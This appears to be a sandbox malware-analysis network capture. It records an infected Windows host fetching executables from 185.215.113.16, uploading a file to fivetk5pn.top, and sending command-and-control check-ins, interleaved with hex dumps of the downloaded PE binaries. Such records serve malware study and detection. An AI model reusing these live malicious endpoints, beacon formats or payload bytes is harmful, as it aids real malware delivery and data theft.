Dec 16, 2024 17:02:55.105420113 CET	1236	IN	Data Raw: 41 41 51 43 4a 52 64 59 45 41 44 67 6b 58 34 42 41 41 41 45 41 69 55 58 57 42 41 41 34 4a 45 65 59 6d 42 2b 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f 43 52 48 78 42 69 59 48 34 42 41 41 41 45 41 69 55 58 57 42 41 41 34 4a 45 66 47 47 4a 67 45 77 Data Ascii: AAQCJRdYEADgkX4BAAAEAiUXWBAA4JEeYmB+AQAABAIlF1gQAOCRHxBiYH4BAAAEAiUXWBAA4JEfGGJgEwQRByCQBcsZWiA3npmCYTih/v//KH4BAAZ+AQAABAIIKEgCAAYoGwIABqUBAAAbCxEHIKwu5VhaIBKcL9RhOHL+//8JFqMBAAAbCxEHIAad6uNaICJ+UqVhOFf+//9+AQAABAIRBhYRBBpZKJkCAAYRByCns2VkWiC
Dec 16, 2024 17:02:55.105905056 CET	1236	IN	Data Raw: 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f 43 52 48 78 68 69 59 42 4d 45 45 51 63 67 51 48 37 57 56 6c 6f 67 52 5a 70 52 57 32 45 34 35 2f 33 2f 2f 33 34 42 41 41 41 45 41 69 55 58 57 42 41 41 34 4a 46 2b 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f Data Ascii: AQAABAIlF1gQAOCRHxhiYBMEEQcgQH7WVlogRZpRW2E45/3//34BAAAEAiUXWBAA4JF+AQAABAIlF1gQAOCRHmJgfgEAAAQCJRdYEADgkR8QYmB+AQAABAIlF1gQAOCRHxhiYAwRByCaZ2ZJWiCUfs57YTiU/f//EQalAQAAGwsRByDasg2kWiCV/vDZYTh5/f//Bm4Zai4IICbm8x8lKwYgWuHpNCUmOF/9//8HKhMwCQDhAgA
Dec 16, 2024 17:02:55.105922937 CET	1236	IN	Data Raw: 45 7a 41 4a 41 4c 4d 43 41 41 41 47 41 41 41 52 41 69 44 33 30 66 79 69 57 69 43 64 66 7a 55 38 59 52 41 41 49 42 76 32 43 55 59 67 6b 41 62 51 55 57 45 6c 45 77 63 66 44 6c 35 46 44 67 41 41 41 41 55 41 41 41 42 6e 41 51 41 41 4a 41 45 41 41 4b Data Ascii: EzAJALMCAAAGAAARAiD30fyiWiCdfzU8YRAAIBv2CUYgkAbQUWElEwcfDl5FDgAAAAUAAABnAQAAJAEAAKcBAAAKAQAAsv///1QCAAAwAgAAxQAAAK0AAABMAQAAgQEAAFkAAAAWAgAAOE8CAAB+AQAABAIlF1gQAOCRfgEAAAQCJRdYEADgkR5iYH4BAAAEAiUXWBAA4JEfEGJgfgEAAAQCJRdYEADgkR8YYmATBREHIO+3pcN
Dec 16, 2024 17:02:55.225287914 CET	1236	IN	Data Raw: 41 77 41 41 74 41 41 41 41 44 69 49 42 41 41 41 4b 4c 34 41 41 41 59 55 2f 67 59 68 41 41 41 47 63 33 63 41 41 41 6f 6f 72 41 41 41 42 68 45 4d 49 42 79 53 6a 4c 4e 61 49 48 4b 4d 31 53 64 68 4f 43 48 2f 2f 2f 38 52 42 78 38 4b 45 51 63 66 43 70 Data Ascii: AwAAtAAAADiIBAAAKL4AAAYU/gYhAAAGc3cAAAoorAAABhEMIBySjLNaIHKM1SdhOCH///8RBx8KEQcfCpUIHwqVYZ4RDCAdpRDNWiAlr3S8YTj//v//FhMEEQwgAyc4flogmkEIh2E46f7//xEMIE7Ppd5aIDXd5cZhONb+//8RBxgRBxiVCBiVYZ4RDCCd7YqbWiCkfSU8YTi3/v//HxAoCgIABhMHEQwgK0t7ZFogcX3+W2E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49777	185.215.113.16	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:53.827102900 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 17:02:55.169275999 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:54 GMT Content-Type: application/octet-stream Content-Length: 1796096 Last-Modified: Mon, 16 Dec 2024 14:47:26 GMT Connection: keep-alive ETag: "67603d7e-1b6800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 00 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 69 00 00 04 00 00 a1 67 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTgi@0ig@M$a$$ $h@.rsrc$x@.idata $z@ `$\|@kbusnrxz O~@yvqiegwthB@.taggant0i"F@
Dec 16, 2024 17:02:55.169307947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:02:55.169321060 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:02:55.169615984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:02:55.169629097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: X2r t&r :.\'5
Dec 16, 2024 17:02:55.169642925 CET	1236	IN	Data Raw: 79 83 bd 71 a4 bf 5e 13 77 a0 12 97 65 db 23 1f 71 1c 20 a6 75 29 ab af be 97 22 f0 76 d9 ae 86 3e 1b 7c 9f 7d 70 b7 30 79 6f 5d ab 3d fb dc 36 fb b2 06 6d 95 98 dc d9 d7 3f a1 0e c7 7b 78 d1 f6 d1 92 75 28 0a 6d fd 70 91 09 b1 3f 9f da 0b 22 41 Data Ascii: yq^we#q u)"v>\|}p0yo]=6m?{xu(mp?"A/}u<^{D9cO0'N0 ZloYH~GA=FB[Q?5[D`x{"{LJN\|=]e7^'v~ ZfNsM\|g,${aOP{
Dec 16, 2024 17:02:55.169655085 CET	1236	IN	Data Raw: e7 9f 84 23 d0 02 d7 cc 6c 2b 68 3f c3 61 4c e5 82 fa 61 24 58 c1 f1 02 4f d6 7e 7f f9 3a fa 5f 77 fe a7 99 80 b2 12 e6 2b 7b c5 43 b5 2d cd 71 57 cb fc 78 25 df 5f 91 2d fb 23 51 96 52 12 7e 3f 77 9f a5 7f ca 0e e3 ab 5e 5e 0d aa 76 75 f8 66 7b Data Ascii: #l+h?aLa$XO~:_w+{C-qWx%_-#QR~?w^^vuf{"tyqeTnrDm-QW!JS}Ux)0"AFoBRkf'?6 0,~-/`Eiq_}u]7Z(VtX>>=&pzO2.F0q
Dec 16, 2024 17:02:55.170310020 CET	1236	IN	Data Raw: 3f d2 24 d8 8d 2f a5 00 8d db 5e 36 6b a7 dd 76 87 64 72 ad cd 33 47 63 35 bf af 45 56 95 d4 60 89 a9 a2 3f 63 d1 b2 a2 66 bb 0c ac 26 31 7d 2d 26 7f 5d e9 aa a6 59 cd e8 e0 de a2 34 23 40 b1 d7 c1 a7 33 6e 04 ff 60 35 03 90 65 69 a7 bd 33 6e 47 Data Ascii: ?$/^6kvdr3Gc5EV`?cf&1}-&]Y4#@3n`5ei3nG`5Vn.cbR1_4)WNd[%VEyp5.=_X7:FiwFZOCm\|wqGI?T}e~}I"~\:~kRi.en4S#{[&QVcZ4J
Dec 16, 2024 17:02:55.170322895 CET	1236	IN	Data Raw: a8 a0 06 ad 25 7f 42 89 6a ab 6d 1b de 43 91 31 cf 57 57 68 79 d1 90 c6 de c3 fe a2 06 7b 77 25 91 0e 93 f1 34 d4 82 de 5e 47 37 9f 3e df e7 36 d6 9f 1d 89 4d fb 4c 21 37 13 af 4f ab 77 a6 5e 72 0d 5d ed d7 d1 f4 36 8a 52 93 61 26 d4 52 31 f3 7b Data Ascii: %BjmC1WWhy{w%4^G7>6ML!7Ow^r]6Ra&R1{0M+<}MJ_~{ARZxpfGui*cs-OM^V]6G`&]V4B?iv:.[HkbH8wO_?\|8Lh7X8P%46OE98;A"5c_Mq
Dec 16, 2024 17:02:55.170335054 CET	1236	IN	Data Raw: fe d6 90 06 3f ff 22 94 2b 52 32 c6 6d a9 e2 72 cf 8b 97 2d de b3 12 31 35 d4 5e d9 02 78 10 f0 97 a1 97 d6 aa cc 7e c6 3a 45 ad 4b 75 01 c3 60 6e b3 90 f1 cd b0 c2 df 78 76 7f 33 2a cd a6 2a 73 dc 90 31 d7 7b 27 62 fb fb 65 09 d9 24 d7 37 c7 fc Data Ascii: ?"+R2mr-15^x~:EKu`nxv3*s1{'be$74C@;1'[j/h\Yt0c8!,h?zD,IN4\,.cF?Nsf,7F%CI&4SdVeg[#c&bjsCTV7z^}C_V:\~}>
Dec 16, 2024 17:02:55.289566040 CET	1236	IN	Data Raw: 16 f6 02 7c a9 fb a7 15 eb bf 5d 25 30 07 a1 e9 ad ef dc ec 3b 3b 93 fd 65 3b a3 20 12 c7 3b 1a c8 84 42 29 1f cc d9 6e ec 18 9d 0b 21 21 72 cd 2f 4f 67 fa c5 c6 df 38 9a f3 85 91 c9 2b cf ce e1 f6 d6 75 d1 36 75 94 1c f5 08 58 ce c8 1a 3d ae 89 Data Ascii: \|]%0;;e; ;B)n!!r/Og8+u6uX=z`uEA+Vx,)%W=[h(SJF"C>'aDs5euN&I@\|6Li3NMgdcb^fT_3$x&EMhhYrj'EnL9#YN9-@gD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49779	138.124.35.95	80	7044	C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:54.735543013 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5pn.top Accept: / Content-Length: 89215 Content-Type: multipart/form-data; boundary=------------------------UYw8tK5Qf6odqVZfbmVrek Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 55 59 77 38 74 4b 35 51 66 36 6f 64 71 56 5a 66 62 6d 56 72 65 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 75 72 65 79 65 67 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 02 c4 dd 2e 01 cc be 25 11 02 83 01 df 77 42 7d 9a e1 87 e7 12 3e 49 5b a7 29 32 6f 33 95 f8 23 2f f6 9e b7 ff 3f 0f 25 9d 10 1a 53 c9 40 84 d2 77 35 16 62 d5 b9 96 36 6c 0f b4 8f fb 9d 1a 8f 25 50 63 2a 89 63 87 be 84 a7 88 e4 8b b6 e6 7c 6d e5 bd e1 ef cd 30 2d c3 21 7b ad ac 91 78 18 6b d9 83 0a 65 57 67 5f 3d de 74 ae 59 9d 12 42 db 3c 5d 83 93 8c 73 27 37 4b 9c 74 16 d1 9c 0b ec de 3b fd 05 c2 0c bd c9 06 e8 c8 c2 7e 8c 46 b4 fb 58 51 39 93 ca 97 bd 78 9c 68 f2 e3 c8 12 b4 a2 c4 d5 9b b6 54 98 25 40 34 83 61 27 e3 28 23 [TRUNCATED] Data Ascii: --------------------------UYw8tK5Qf6odqVZfbmVrekContent-Disposition: form-data; name="file"; filename="Pureyeg.bin"Content-Type: application/octet-stream.%wB}>I[)2o3#/?%S@w5b6l%Pcc\|m0-!{xkeWg_=tYB<]s'7Kt;~FXQ9xhT%@4a'(#1zudK?:t9~&w-F]Dte71Ogf(OuMzS]_tfXZ$.Y)^}L.=CcY\|9mqGG.mop()v't0)~_X;L%~ua03T{G:s?t^,@6Ut:k!D+w)/9^w~X/{,$BY%J0rC;$w<het=fL{vdQ0~M 2ns[+Yop6]/l0hxP#6p34<fRC'fD'sk(Ue3Dgs&M5k{{DQnegRivFw$)9fu,9[\|"A#'@d]NlW +W^<6777~ +BW\n0Gw.;ZI~MQ'kJU@AAa.77K_ [TRUNCATED]
Dec 16, 2024 17:02:54.855504990 CET	2472	OUT	Data Raw: 02 69 6b ea 65 11 b9 1a 23 9f 6a d0 17 05 e4 3c e8 63 95 dd e0 6e eb 5a e9 0c 59 37 da 88 59 4b c8 85 33 c2 d2 45 11 84 d5 1c 0d b2 51 e9 47 44 3a 43 55 71 6a 54 64 6a 84 f0 dc f8 0b e1 80 d8 56 f1 96 f5 9b ab 90 3b 86 2a a3 b0 a8 94 49 d9 64 d9 Data Ascii: ike#j<cnZY7YK3EQGD:CUqjTdjV;*Id/-6>8G9N&ctt+g]a+VJcv2ORro08w6ovGJhKafSaDYd4zzX;iz:+nj
Dec 16, 2024 17:02:54.855562925 CET	4944	OUT	Data Raw: 45 f4 e4 b6 91 2a 2d 9e 5c c7 55 89 a5 70 65 fc cf 0e 1e f5 2e 8a cf 4e 53 b7 54 4e 36 9c 04 02 0a d2 84 c7 37 5a b3 ac 83 ac 79 a0 e0 e7 61 96 ab 79 72 6f 30 07 1f 48 78 29 9d 97 5a 03 e4 5e 5f 52 d8 ba 64 e8 56 6e 73 56 84 1d 02 5a ec 0c 66 3f Data Ascii: E*-\Upe.NSTN67Zyayro0Hx)Z^_RdVnsVZf?@+Tg_TIb%76u6m4[)uKN^GX%5(k>sobX[gh_Vm"!Dl{AUw+;#3&
Dec 16, 2024 17:02:54.855578899 CET	2472	OUT	Data Raw: 63 5b cf 7f 87 7f c8 51 18 92 ba ed c8 69 09 e7 aa 14 ed df f3 d6 2f b9 d7 29 9a 16 6c 93 66 4f ad 21 7c 6b 78 06 98 8c 98 74 98 f5 c1 48 4a 19 d0 cf 4b a3 3f ad b9 ab 21 ad df 00 ba dd f1 9a 1e 6a 3b 5c 6a 9c ad b8 0d 70 20 27 4a 4b ea 7c 70 60 Data Ascii: c[Qi/)lfO!\|kxtHJK?!j;\jp 'JK\|p`Z?sq>?nn8Ev7DC.;wXDrELFp4\|-\|y i75b=1Vr,{3]<X]#?Mus[%k.
Dec 16, 2024 17:02:54.855736017 CET	2472	OUT	Data Raw: 1d 19 6b f8 cd 49 f9 68 95 0a b7 a8 73 d4 54 34 e5 92 9e 8d 2f 7e cf 0c 7e 39 42 6b 2b f8 d0 32 44 5a 68 c0 06 02 09 75 8e c7 9b 0a d7 e4 88 fa e5 d6 27 b9 51 45 d3 c5 f1 5e 88 9b 9d b5 01 f1 2d e8 e0 d9 f0 8e 45 a7 62 40 f8 28 5d a9 b7 45 8f 9c Data Ascii: kIhsT4/~~9Bk+2DZhu'QE^-Eb@(]E_<O>bK~[B%aQLT^(`bm6D{v`+qvpz~dNepUa6AaU:>8~(Pzx+Eo#0{%TKAH+6nm~_k
Dec 16, 2024 17:02:54.855758905 CET	2472	OUT	Data Raw: 6f 1f bf 50 b4 2e e4 5d f3 41 3e 08 67 68 97 97 b6 ab 5c f2 b0 c0 27 42 71 19 af 8e 95 33 00 09 a8 17 8d 34 fe 81 08 4e de 41 c4 5e 7b 4a c0 5b c6 1c 88 1c db 19 e2 fc 35 62 3e 4a 50 22 51 ad d0 dd e0 58 64 5e 80 db 33 0c 3c 66 82 cd bf 85 e8 5b Data Ascii: oP.]A>gh\'Bq34NA^{J[5b>JP"QXd^3<f[sA=Ae$eF)$=h_f#A]86#=\As2foGDT\rx8(Tmj;yCCr`M*k0&gSgp\|#}?^8ckFBVc_C8+O_
Dec 16, 2024 17:02:54.855875015 CET	4944	OUT	Data Raw: 03 6f ea 01 8b 0d 0b 37 37 6a b5 e6 58 a8 44 12 a4 b1 6f 2b 24 84 40 ab 79 bf 8f 44 fc b3 2a 5c 36 e6 89 0e 8f 39 99 48 ff b6 59 ab c2 b2 ec 7a a6 1e 7a 02 4d d2 cf cc 2b b5 51 2c d6 be 9f e5 cf d9 10 4f 45 86 43 d5 fd 6b 06 5b 6f cc 9f b8 eb db Data Ascii: o77jXDo+$@yD\69HYzzM+Q,OECk[oOlOwdw8nk\|qHufIN;{%bti7IwPiysvrFFol`P9:e-6si }^(7NHVRlv
Dec 16, 2024 17:02:54.855914116 CET	2472	OUT	Data Raw: 0c 52 b5 47 02 38 97 3d 07 5d ac 21 fb 59 7e 59 72 7a 64 3e a3 85 a1 8f 70 b2 f9 7b 04 82 dd 2b db a6 8a 1c 7f 69 7d 3b 94 68 8c a8 4d 25 74 e8 5a cc 28 73 86 a5 4e fa b8 37 83 23 8e 83 fb 1e cc e4 4e e4 fa 23 6f 3a 82 1e 1d 85 22 62 25 c8 57 aa Data Ascii: RG8=]!Y~Yrzd>p{+i};hM%tZ(sN7#N#o:"b%W=jI~b{0}rUQ" kOEhQ\|h%M?B7'sZ7Oua43(X-E';3?ME`eOQ{Rcub,n2t]g
Dec 16, 2024 17:02:54.855945110 CET	2472	OUT	Data Raw: 92 d2 5a 96 d8 7f 07 98 5e 25 ef 14 8c 2a de 60 76 3a 6a 8d 8b 4a 19 7b d3 3f 6d 5f 99 e3 85 5f cb 7b f0 b0 e0 33 99 86 2d b3 b7 9f 27 47 48 1e 4a b1 ed c8 2b ab ab c7 b5 a0 67 84 35 8e 24 88 29 a3 20 86 ac 52 43 52 65 ff b1 75 0d 9a 5b 79 2f f6 Data Ascii: Z^%*`v:jJ{?m__{3-'GHJ+g5$) RCReu[y/[$9$B\|Mi,TLB2[@/^[gxH3Dp3%tl6oOn o.U78dO2)Pu-G3$CJSc(eyNNi
Dec 16, 2024 17:02:54.975749969 CET	4944	OUT	Data Raw: ad 8b 87 8c f1 dc 90 85 80 9c fb 7c 57 d7 29 c6 dd 90 7c 6f 59 2c f8 88 38 8d b9 3a 73 25 81 c0 7f cb db 6c 06 a2 a2 6c 70 39 df ed d8 39 46 43 ef f0 7d 02 c1 ee f5 c9 55 df 0e 4f 5e 1b 25 1c 94 f7 fa 13 cc de 93 df 52 54 f9 5c 19 ac b0 60 ea e6 Data Ascii: \|W)\|oY,8:s%llp99FC}UO^%RT\`PvfpidaKY2GDGL\|\|wunGM88o!x')k.VT\|54ww[#m\$ZQfGI(nB^Xw/(nD!if74
Dec 16, 2024 17:02:54.975791931 CET	2472	OUT	Data Raw: c2 ce 20 72 64 a6 89 2f 7f d4 30 ec b9 7a b1 21 04 1f d2 67 b0 34 4c 3d d7 7e 29 15 62 2c 35 9a 26 cd 44 a8 f4 cb ef de 39 03 a5 d3 71 be f1 70 6c 48 3d 99 3b 96 1b 7a 06 b6 7f 5f 5e f6 17 e7 ce 82 53 37 28 4b 40 f4 a8 a0 c0 ac ee 91 f6 66 84 11 Data Ascii: rd/0z!g4L=~)b,5&D9qplH=;z_^S7(K@fN+Wl6S\`t/qH*ir7`'F k#\|+%j?wIb^t[]^PK^@+SpG%M=[\|4#yH_z7/ACqbm
Dec 16, 2024 17:02:56.577780008 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 16:02:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 28 X-RateLimit-Reset: 1734366773 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.8	49802	185.11.61.104	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:00.098639011 CET	154	OUT	POST /7jbBdsS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.11.61.104 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 17:03:01.420629978 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Dec 16, 2024 17:03:02.935826063 CET	308	OUT	POST /7jbBdsS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.11.61.104 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 34 42 36 35 43 43 44 30 41 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 33 36 34 43 32 34 39 41 39 36 36 42 43 34 30 39 32 34 39 37 46 31 41 30 45 45 41 37 44 43 34 38 38 37 45 39 37 33 46 41 41 38 41 34 31 37 38 43 38 39 31 45 34 31 46 33 34 35 31 45 30 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D914B65CCD0A33E57258FB2A44C409D91D5A73F1B78D6364C249A966BC4092497F1A0EEA7DC4887E973FAA8A4178C891E41F3451E0
Dec 16, 2024 17:03:03.375818014 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49809	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:00.837559938 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016176001&unit=246122658369
Dec 16, 2024 17:03:02.210154057 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49813	185.215.113.16	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:02.722351074 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 17:03:04.054315090 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:03 GMT Content-Type: application/octet-stream Content-Length: 970752 Last-Modified: Mon, 16 Dec 2024 14:45:24 GMT Connection: keep-alive ETag: "67603d04-ed000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f5 3c 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 20 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL<`g" w@0@@@d\|@(eu4@.text `.rdata@@.datalpH@.rsrc(e@f@@.relocuvZ@B
Dec 16, 2024 17:03:04.054411888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Dec 16, 2024 17:03:04.054449081 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Dec 16, 2024 17:03:04.054954052 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
